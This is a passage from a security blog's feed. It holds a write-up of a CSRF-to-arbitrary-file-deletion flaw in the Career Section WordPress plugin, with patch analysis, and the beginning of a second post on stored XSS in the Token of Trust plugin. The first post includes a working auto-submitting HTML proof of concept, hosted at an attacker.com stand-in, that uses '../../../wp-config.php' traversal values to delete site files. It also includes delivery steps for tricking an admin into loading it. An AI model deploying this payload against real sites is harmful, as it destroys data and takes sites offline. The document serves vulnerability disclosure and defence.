&lt;td&gt;&lt;a href=&quot;https://www.linkedin.com/in/ivancese/&quot;&gt;Ivan Cese&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/career-section/career-section-16-cross-site-request-forgery-to-arbitrary-file-deletion&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The Career Section plugin (versions up to and including 1.6) is vulnerable to Cross-Site Request Forgery (CSRF). The flaw leads to path traversal and arbitrary file deletion. It is caused by missing nonce validation and insufficient file path validation on the delete action in the &lt;code&gt;appform_options_page_html&lt;/code&gt; function. This allows unauthenticated attackers to delete arbitrary files on the server. The only requirement is that they trick a site administrator into clicking a link.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Vulnerable Code Path&lt;/h3&gt;
&lt;p&gt;The vulnerability lives entirely in &lt;code&gt;include/top_level_menu.php&lt;/code&gt; inside the &lt;code&gt;appform_options_page_html()&lt;/code&gt; function, which WordPress registers as the callback for the admin submenu page at &lt;code&gt;wp-admin/admin.php?page=appform&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hook registration (&lt;code&gt;include/top_level_menu.php:5–18&lt;/code&gt;):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function csaf_options_page() {
    add_submenu_page(
        &apos;edit.php?post_type=csection&apos;,
        &apos;View Entries&apos;,
        &apos;View Entries&apos;,
        &apos;manage_options&apos;,
        &apos;appform&apos;,
        &apos;appform_options_page_html&apos;   // ← callback
    );
}
add_action( &apos;admin_menu&apos;, &apos;csaf_options_page&apos; );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Delete action handler (&lt;code&gt;include/top_level_menu.php:22–43&lt;/code&gt;):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function appform_options_page_html() {
    // check user capabilities
    if ( ! current_user_can( &apos;manage_options&apos; ) ) {
        return;
    }
    // check if the user have submitted the settings
    if ( isset( $_POST[&apos;delete_id&apos;] ) ) {        // ← NO nonce check here
        //delete db raw
        global $wpdb;
        $table_name = $wpdb-&amp;gt;prefix . &quot;cs_applicant_submissions&quot;;
        $wpdb-&amp;gt;delete( $table_name, array( &apos;id&apos; =&amp;gt; sanitize_text_field($_POST[&apos;delete_id&apos;] )) );
        //delete files
        global $wp_filesystem;
        WP_Filesystem();
        $content_directory = $wp_filesystem-&amp;gt;wp_content_dir() . &apos;uploads/&apos;;
        $target_dir_location = $content_directory . &apos;cs_applicant_submission_files/&apos;;
        $file_path = $target_dir_location . sanitize_text_field($_POST[&apos;delete_file&apos;]); // ← PATH TRAVERSAL
        wp_delete_file( $file_path ); // ← deletes arbitrary file
        
        add_settings_error( &apos;af_messages&apos;, &apos;af_messages&apos;,
            __( &apos;Application permanently deleted.&apos;, &apos;csaf&apos; ), &apos;updated&apos; );
    }
    // ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;The delete form rendered in the admin table (&lt;code&gt;include/top_level_menu.php:135–139&lt;/code&gt;):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;form class=&apos;form&apos; action=&apos;&apos; method=&apos;POST&apos;&amp;gt;
    &amp;lt;input type=&quot;hidden&quot; name=&quot;delete_file&quot; value=&quot;&amp;lt;?php esc_html_e($row-&amp;gt;cv,&apos;csaf&apos;) ?&amp;gt;&quot;&amp;gt;
    &amp;lt;input type=&quot;hidden&quot; name=&quot;delete_id&quot;   value=&quot;&amp;lt;?php esc_html_e($row-&amp;gt;id,&apos;csaf&apos;) ?&amp;gt;&quot;&amp;gt;
    &amp;lt;button class=&quot;button-ffu&quot; type=&quot;submit&quot; value=&quot;Delete&quot;&amp;gt;Delete&amp;lt;/button&amp;gt;
&amp;lt;/form&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;No &lt;code&gt;wp_nonce_field()&lt;/code&gt; call is present in this form. There is no CSRF token protecting the delete action.&lt;/p&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Two weaknesses combine&lt;/strong&gt; to create this vulnerability:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Missing CSRF nonce&lt;/strong&gt; — The delete action only checks &lt;code&gt;isset($_POST[&apos;delete_id&apos;])&lt;/code&gt; before proceeding. It never calls &lt;code&gt;wp_verify_nonce()&lt;/code&gt;. Because WordPress admin pages do not have same-site cookies by default, any cross-origin POST request that includes the admin&apos;s session cookie will be processed. An attacker can forge such a request from any origin and trick an administrator into submitting it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Path traversal via unsanitized &lt;code&gt;delete_file&lt;/code&gt;&lt;/strong&gt; — The &lt;code&gt;$_POST[&apos;delete_file&apos;]&lt;/code&gt; value is passed through &lt;code&gt;sanitize_text_field()&lt;/code&gt; before being appended to the target directory:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$file_path = $target_dir_location . sanitize_text_field($_POST[&apos;delete_file&apos;]);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;sanitize_text_field()&lt;/code&gt; strips HTML tags and extra whitespace, but it does &lt;strong&gt;not&lt;/strong&gt; strip directory traversal sequences (&lt;code&gt;../&lt;/code&gt;). An attacker-supplied value of &lt;code&gt;../../../wp-config.php&lt;/code&gt; results in a fully resolved path outside the intended &lt;code&gt;cs_applicant_submission_files/&lt;/code&gt; directory, and &lt;code&gt;wp_delete_file()&lt;/code&gt; then deletes that file.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Why Existing Controls Failed&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;current_user_can(&apos;manage_options&apos;)&lt;/code&gt; check confirms the &lt;em&gt;session&lt;/em&gt; is authenticated. It does not stop CSRF. When a logged-in admin&apos;s browser submits a forged cross-site form, WordPress sees a valid session and allows the request through. The missing piece is a secret token — a nonce — that a third-party site cannot know.&lt;/p&gt;
&lt;h3&gt;Attack Impact&lt;/h3&gt;
&lt;p&gt;An unauthenticated attacker who can trick a site administrator into visiting a malicious page can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Delete arbitrary files&lt;/strong&gt; on the server — any file readable by the web server process, including:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;wp-config.php&lt;/code&gt; — destroys the database connection credentials, taking the site offline&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.htaccess&lt;/code&gt; — removes server-side rewrite rules and access controls&lt;/li&gt;
&lt;li&gt;Plugin or theme files — selectively breaks site functionality&lt;/li&gt;
&lt;li&gt;Any uploaded media or document in the wp-content tree&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Delete application records&lt;/strong&gt; from the &lt;code&gt;cs_applicant_submissions&lt;/code&gt; database table (via &lt;code&gt;delete_id&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Potentially achieve Remote Code Execution — if the attacker can delete a PHP file and then recreate it via a file upload vulnerability&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and defensive security research purposes only.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WordPress installation with the &lt;code&gt;career-section&lt;/code&gt; plugin installed and activated&lt;/li&gt;
&lt;li&gt;Plugin version &amp;lt;= 1.6&lt;/li&gt;
&lt;li&gt;A logged-in administrator must be tricked into visiting a page controlled by the attacker (standard CSRF requirement)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step-by-Step Reproduction&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Identify the target WordPress admin URL&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The vulnerable endpoint is the plugin&apos;s &quot;View Entries&quot; admin page:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://TARGET_SITE/wp-admin/admin.php?page=appform
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Host a malicious auto-submitting HTML page&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Create the following HTML file on an attacker-controlled server (e.g. &lt;code&gt;https://attacker.com/exploit.html&lt;/code&gt;). This page auto-submits a forged POST request to the target as soon as the admin loads it.&lt;/p&gt;
&lt;p&gt;To delete &lt;code&gt;wp-config.php&lt;/code&gt; (the most impactful target — takes the site fully offline):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;script&amp;gt;
  // Auto-submit on page load
  window.onload = function() {
    document.getElementById(&apos;csrf-form&apos;).submit();
  };
&amp;lt;/script&amp;gt;
&amp;lt;form id=&quot;csrf-form&quot;
      action=&quot;https://TARGET_SITE/wp-admin/admin.php?page=appform&quot;
      method=&quot;POST&quot;&amp;gt;
  &amp;lt;!--
    Path traversal: escape cs_applicant_submission_files/ and
    traverse up to the WordPress root to delete wp-config.php.
    Adjust the number of ../ segments to match the server layout
    (typically 3: uploads/ → wp-content/ → WordPress root/).
  --&amp;gt;
  &amp;lt;input type=&quot;hidden&quot; name=&quot;delete_id&quot;   value=&quot;1&quot;&amp;gt;
  &amp;lt;input type=&quot;hidden&quot; name=&quot;delete_file&quot; value=&quot;../../../wp-config.php&quot;&amp;gt;
&amp;lt;/form&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To delete &lt;code&gt;.htaccess&lt;/code&gt; instead:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;delete_file&quot; value=&quot;../../../.htaccess&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To delete a specific plugin file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;delete_file&quot; value=&quot;../../../plugins/some-plugin/index.php&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Deliver the link to the administrator&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Send the administrator a link to &lt;code&gt;https://attacker.com/exploit.html&lt;/code&gt; via email, a comment notification, a social-engineering message, or any other channel. The administrator must be logged into WordPress in the same browser session when they click the link.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 4: Confirm execution&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;As soon as the admin&apos;s browser loads the attacker&apos;s page, the form auto-submits. The browser&apos;s cookie jar attaches the admin&apos;s &lt;code&gt;wordpress_logged_in_*&lt;/code&gt; session cookie to the POST request. WordPress:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Finds the admin is authenticated with &lt;code&gt;manage_options&lt;/code&gt; capability — ✓&lt;/li&gt;
&lt;li&gt;Sees &lt;code&gt;delete_id&lt;/code&gt; is set — ✓&lt;/li&gt;
&lt;li&gt;Calls &lt;code&gt;$wpdb-&amp;gt;delete(...)&lt;/code&gt; to remove the database row — executes&lt;/li&gt;
&lt;li&gt;Builds the file path: &lt;code&gt;&amp;lt;wp-content&amp;gt;/uploads/cs_applicant_submission_files/../../../wp-config.php&lt;/code&gt; — resolves to &lt;code&gt;&amp;lt;wordpress-root&amp;gt;/wp-config.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Calls &lt;code&gt;wp_delete_file(&apos;&amp;lt;wordpress-root&amp;gt;/wp-config.php&apos;)&lt;/code&gt; — file deleted&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Expected Result&lt;/h3&gt;
&lt;p&gt;The target file (&lt;code&gt;wp-config.php&lt;/code&gt; in the example) is permanently deleted from the server. The next page load on the WordPress site will produce a fatal error:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Warning: require(/var/www/html/wp-config.php): Failed to open stream: No such file or directory in /var/www/html/wp-settings.php on line 4
Fatal error: require(): Failed opening required &apos;/var/www/html/wp-config.php&apos; ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The site is taken completely offline.&lt;/p&gt;
&lt;h3&gt;Verification&lt;/h3&gt;
&lt;p&gt;After executing the PoC, verify the exploit succeeded by:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Visiting the target site&lt;/strong&gt; — if &lt;code&gt;wp-config.php&lt;/code&gt; was the target, the site will display a PHP fatal error rather than loading normally.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Checking via server SSH/FTP&lt;/strong&gt; — confirm the file no longer exists:&lt;pre&gt;&lt;code&gt;ls -la /var/www/html/wp-config.php
# ls: cannot access &apos;/var/www/html/wp-config.php&apos;: No such file or directory
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Admin notice&lt;/strong&gt; — if the admin looks at the &lt;code&gt;?page=appform&lt;/code&gt; screen after the request, they will see &quot;Application permanently deleted.&quot; — confirming the action was processed silently.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;h3&gt;What Changed&lt;/h3&gt;
&lt;p&gt;The security fix is in &lt;code&gt;include/top_level_menu.php&lt;/code&gt; (the primary vulnerability file). Several other files received hardening improvements alongside.&lt;/p&gt;
&lt;h3&gt;Fix Explanation&lt;/h3&gt;
&lt;p&gt;The patch introduces &lt;strong&gt;two fixes&lt;/strong&gt; that work together to close both attack vectors:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix 1 — Nonce verification (CSRF protection):&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The patched code now generates a per-row nonce inside the delete form:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Patched form (include/top_level_menu.php, v1.7)
&amp;lt;form class=&apos;form&apos; action=&apos;&apos; method=&apos;POST&apos;&amp;gt;
    &amp;lt;input type=&quot;hidden&quot; name=&quot;delete_file&quot; value=&quot;&amp;lt;?php echo esc_html($row-&amp;gt;cv) ?&amp;gt;&quot;&amp;gt;
    &amp;lt;input type=&quot;hidden&quot; name=&quot;delete_id&quot;   value=&quot;&amp;lt;?php echo esc_html($row-&amp;gt;id) ?&amp;gt;&quot;&amp;gt;
    &amp;lt;?php wp_nonce_field( &apos;delete_applicant_&apos; . $row-&amp;gt;id, &apos;delete_applicant_nonce&apos; ); ?&amp;gt;
    &amp;lt;button class=&quot;button-ffu&quot; type=&quot;submit&quot; value=&quot;Delete&quot;&amp;gt;Delete&amp;lt;/button&amp;gt;
&amp;lt;/form&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And the handler now verifies it before acting:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Patched handler (include/top_level_menu.php, v1.7)
if ( isset( $_POST[&apos;delete_id&apos;], $_POST[&apos;delete_applicant_nonce&apos;] ) ) {
    $delete_id   = intval( wp_unslash( $_POST[&apos;delete_id&apos;] ) );
    $nonce       = sanitize_text_field( wp_unslash( $_POST[&apos;delete_applicant_nonce&apos;] ) );
    $delete_file = sanitize_text_field( wp_unslash( $_POST[&apos;delete_file&apos;] ?? &apos;&apos; ) );
    $delete_file = basename( $delete_file ); // removes any &quot;../&quot; path segments

    if ( ! wp_verify_nonce( $nonce, &apos;delete_applicant_&apos; . $delete_id ) ) {
        wp_die( esc_html__( &apos;Nonce verification failed&apos;, &apos;career-section&apos; ) );
    }
    // ... proceed with deletion
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A forged cross-site request cannot supply a valid nonce because the nonce is a cryptographic token tied to the admin&apos;s session, the action name, and a time window. An attacker cannot predict it without access to the session.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Fix 2 — Path traversal prevention:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The patch applies &lt;code&gt;basename()&lt;/code&gt; to &lt;code&gt;$_POST[&apos;delete_file&apos;]&lt;/code&gt; before building the file path:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$delete_file = basename( $delete_file );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;basename()&lt;/code&gt; returns only the final component of a path, stripping any directory separators and &lt;code&gt;../&lt;/code&gt; sequences. This is defense-in-depth. Even if the nonce check were bypassed, &lt;code&gt;../../../wp-config.php&lt;/code&gt; would be reduced to &lt;code&gt;wp-config.php&lt;/code&gt;, keeping deletion inside &lt;code&gt;cs_applicant_submission_files/&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Both fixes are necessary and correct. Used together they provide defense-in-depth.&lt;/p&gt;
&lt;h3&gt;Code Diff (Key Changes)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;--- a/include/top_level_menu.php (v1.6)
+++ b/include/top_level_menu.php (v1.7)

-	if ( isset( $_POST[&apos;delete_id&apos;] ) ) {
+	if ( isset( $_POST[&apos;delete_id&apos;], $_POST[&apos;delete_applicant_nonce&apos;] ) ) {		
+		$delete_id   = intval( wp_unslash( $_POST[&apos;delete_id&apos;] ) );
+    	$nonce       = sanitize_text_field(wp_unslash( $_POST[&apos;delete_applicant_nonce&apos;] ));
+		$delete_file = sanitize_text_field(wp_unslash( $_POST[&apos;delete_file&apos;] ?? &apos;&apos;));
+		$delete_file = basename($delete_file); // removes any &quot;../&quot; path segments
+    	
+		if ( ! wp_verify_nonce( $nonce, &apos;delete_applicant_&apos; . $delete_id ) ) {
+			wp_die( esc_html__( &apos;Nonce verification failed&apos;, &apos;career-section&apos; ) );
+		}		

 	    $wpdb-&amp;gt;delete( $table_name, array( &apos;id&apos; =&amp;gt; sanitize_text_field($_POST[&apos;delete_id&apos;] )) );
 	    ...
-	    $file_path = $target_dir_location.sanitize_text_field($_POST[&apos;delete_file&apos;]);
+	    $file_path = $target_dir_location.sanitize_text_field($delete_file);
         wp_delete_file( $file_path );

 	// In the delete form:
-    &amp;lt;input type=&quot;hidden&quot; name=&quot;delete_file&quot; value=&quot;...&quot;&amp;gt;
-    &amp;lt;input type=&quot;hidden&quot; name=&quot;delete_id&quot; value=&quot;...&quot;&amp;gt;
+    &amp;lt;input type=&quot;hidden&quot; name=&quot;delete_file&quot; value=&quot;...&quot;&amp;gt;
+    &amp;lt;input type=&quot;hidden&quot; name=&quot;delete_id&quot; value=&quot;...&quot;&amp;gt;
+    &amp;lt;?php wp_nonce_field( &apos;delete_applicant_&apos; . $row-&amp;gt;id, &apos;delete_applicant_nonce&apos; ); ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unknown&lt;/td&gt;
&lt;td&gt;Vulnerability discovered and reported by Ivan Cese&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;April 15, 2026&lt;/td&gt;
&lt;td&gt;Publicly disclosed by Wordfence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;April 15, 2026&lt;/td&gt;
&lt;td&gt;Patched version 1.7 released&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update the &lt;code&gt;career-section&lt;/code&gt; plugin to version &lt;strong&gt;1.7&lt;/strong&gt; or later via the WordPress admin dashboard (Plugins → Updates) or by downloading directly from &lt;a href=&quot;https://wordpress.org/plugins/career-section/&quot;&gt;wordpress.org/plugins/career-section&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/career-section/career-section-16-cross-site-request-forgery-to-arbitrary-file-deletion&quot;&gt;Wordfence Advisory&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset/3474216/career-section&quot;&gt;WordPress Trac Changeset 3474216&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-14868&quot;&gt;CVE-2025-14868&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/career-section/&quot;&gt;Career Section on WordPress.org&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-04-19T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-2834: Unauthenticated Stored XSS in Token of Trust Plugin</title><link>https://hurayraiit.com/blog/cve-2026-2834-unauthenticated-stored-xss-in-token-of-trust/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-2834-unauthenticated-stored-xss-in-token-of-trust/</guid><description>CVE-2026-2834: CVSS 7.2 stored XSS in Token of Trust (&lt;=3.32.3). Unauthenticated attackers can store JavaScript that fires when an admin views Debug Logs.</description><pubDate>Sat, 18 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-2834&lt;/strong&gt; is a &lt;strong&gt;CVSS 7.2 (High)&lt;/strong&gt; Unauthenticated Stored Cross-Site Scripting vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/token-of-trust/&quot;&gt;Age Verification &amp;amp; Identity Verification by Token of Trust&lt;/a&gt; WordPress plugin. All versions up to and including &lt;strong&gt;3.32.3&lt;/strong&gt; are affected. An unauthenticated attacker can inject arbitrary JavaScript into the plugin&apos;s debug log by sending a single crafted HTTP request. The payload is stored in the WordPress database. It fires automatically the next time any administrator visits the Debug Logs settings page — no extra interaction is needed. A successful attack can result in full admin account takeover.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Age Verification &amp;amp; Identity Verification by Token of Trust&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;token-of-trust&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-2834&quot;&gt;CVE-2026-2834&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;7.2 (High)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unauthenticated Stored Cross-Site Scripting (XSS)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/token-of-trust.3.32.3.zip&quot;&gt;&amp;lt;= 3.32.3&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/token-of-trust.3.32.4.zip&quot;&gt;3.32.4&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;April 14, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.linkedin.com/in/somprasong-teerachai/&quot;&gt;Teerachai Somprasong&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/token-of-trust/age-verification-identity-verification-by-token-of-trust-3323-unauthenticated-stored-cross-site-scripting-via-description-parameter&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The Token of Trust plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the &lt;code&gt;description&lt;/code&gt; parameter in all versions up to and including 3.32.3. The root cause is insufficient input sanitization and missing output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Vulnerable Code Path&lt;/h3&gt;
&lt;p&gt;The vulnerability spans three files and follows a store-then-display pattern.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 1 — Unauthenticated AJAX handler registration (&lt;code&gt;admin/error-log.php&lt;/code&gt;, lines 4–5):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tot_add_action( &apos;wp_ajax_tot_error_log&apos;,        &apos;tot_handle_error_log&apos; );
tot_add_action( &apos;wp_ajax_nopriv_tot_error_log&apos;, &apos;tot_handle_error_log&apos; );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;nopriv&lt;/code&gt; variant registers the handler for users who are &lt;strong&gt;not logged in&lt;/strong&gt;. No nonce is verified anywhere in the handler.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 2 — Raw unsanitized input (&lt;code&gt;admin/error-log.php&lt;/code&gt;, lines 10–15):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if ( ! isset( $_POST[&apos;description&apos;] ) || empty( $_POST[&apos;description&apos;] ) ) {
    wp_send_json_success( ... );
    wp_die();
}

$description = trim( $_POST[&apos;description&apos;] );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The handler reads &lt;code&gt;$_POST[&apos;description&apos;]&lt;/code&gt; directly — only a &lt;code&gt;trim()&lt;/code&gt; is applied. No &lt;code&gt;sanitize_text_field()&lt;/code&gt;, no &lt;code&gt;wp_kses()&lt;/code&gt;, no escaping.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 3 — Debug mode guard bypass (&lt;code&gt;Modules/Verification/Shared/Debugger.php&lt;/code&gt;, line 79):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if ( ! tot_debug_mode() &amp;amp;&amp;amp; ! \TOT\Shared\Settings::get_param_or_cookie( &apos;debug_mode&apos; ) ) {
    return;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;get_param_or_cookie()&lt;/code&gt; reads directly from &lt;code&gt;$_COOKIE[&apos;debug_mode&apos;]&lt;/code&gt;. Because this is PHP&apos;s superglobal, any HTTP request that includes a &lt;code&gt;Cookie: debug_mode=1&lt;/code&gt; header satisfies this condition. An attacker controls their own HTTP request headers, so this guard is easy to bypass.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;tot_debug_mode()&lt;/code&gt; (&lt;code&gt;legacy.php:14–15&lt;/code&gt;) is:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function tot_debug_mode() {
    return time() &amp;lt; \TOT\Shared\Settings::get_setting( &apos;debug_mode&apos; );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By default &lt;code&gt;debug_mode&lt;/code&gt; is &lt;code&gt;0&lt;/code&gt;, so &lt;code&gt;time() &amp;lt; 0&lt;/code&gt; is &lt;code&gt;false&lt;/code&gt;. The guard therefore relies entirely on the attacker-controlled cookie when the admin has not manually enabled debug mode.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 4 — Unsanitized storage to database (&lt;code&gt;Modules/Verification/Shared/Debugger.php&lt;/code&gt;, lines 96–99):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$new_log = array(
    &apos;timestamp&apos; =&amp;gt; current_time( &apos;mysql&apos; ),
    &apos;body&apos;      =&amp;gt; print_r( $log, true ),
